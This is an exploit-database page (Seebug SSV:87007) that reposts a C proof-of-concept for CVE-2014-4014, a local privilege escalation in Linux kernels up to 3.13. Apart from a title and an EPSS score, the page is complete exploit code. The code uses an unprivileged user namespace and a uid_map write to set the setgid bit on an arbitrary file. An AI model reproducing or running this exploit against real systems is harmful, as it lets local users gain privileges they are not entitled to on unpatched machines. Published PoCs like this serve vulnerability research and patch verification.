Lucene search

K
seebugRootSSV:87007
HistoryJul 01, 2014 - 12:00 a.m.

Linux Kernel <= 3.13 - Local Privilege Escalation PoC (gid)

2014-07-0100:00:00
Root
www.seebug.org
49

0.001 Low

EPSS

Percentile

26.6%

No description provided by source.


                                                /**
 * CVE-2014-4014 Linux Kernel Local Privilege Escalation PoC
 *
 * Vitaly Nikolenko
 * http://hashcrack.org
 *
 * Usage: ./poc [file_path]
 * 
 * where file_path is the file on which you want to set the sgid bit
 */
#define _GNU_SOURCE
#include &#60;sys/wait.h&#62;
#include &#60;sched.h&#62;
#include &#60;stdio.h&#62;
#include &#60;stdlib.h&#62;
#include &#60;unistd.h&#62;
#include &#60;fcntl.h&#62;
#include &#60;limits.h&#62;
#include &#60;string.h&#62;
#include &#60;assert.h&#62;

#define STACK_SIZE (1024 * 1024)
static char child_stack[STACK_SIZE];

struct args {
    int pipe_fd[2];
    char *file_path;
};

static int child(void *arg) {
    struct args *f_args = (struct args *)arg;
    char c;

    // close stdout
    close(f_args-&#62;pipe_fd[1]); 

    assert(read(f_args-&#62;pipe_fd[0], &c, 1) == 0);

    // set the setgid bit
    chmod(f_args-&#62;file_path, S_ISGID|S_IRUSR|S_IWUSR|S_IRGRP|S_IXGRP|S_IXUSR);

    return 0;
}

int main(int argc, char *argv[]) {
    int fd;
    pid_t pid;
    char mapping[1024];
    char map_file[PATH_MAX];
    struct args f_args;

    assert(argc == 2);

    f_args.file_path = argv[1];
    // create a pipe for synching the child and parent
    assert(pipe(f_args.pipe_fd) != -1);

    pid = clone(child, child_stack + STACK_SIZE, CLONE_NEWUSER | SIGCHLD, &f_args);
    assert(pid != -1);

    // get the current uid outside the namespace
    snprintf(mapping, 1024, &#34;0 %d 1\n&#34;, getuid()); 

    // update uid and gid maps in the child
    snprintf(map_file, PATH_MAX, &#34;/proc/%ld/uid_map&#34;, (long) pid);
    fd = open(map_file, O_RDWR); assert(fd != -1);

    assert(write(fd, mapping, strlen(mapping)) == strlen(mapping));
    close(f_args.pipe_fd[1]);

    assert (waitpid(pid, NULL, 0) != -1);
}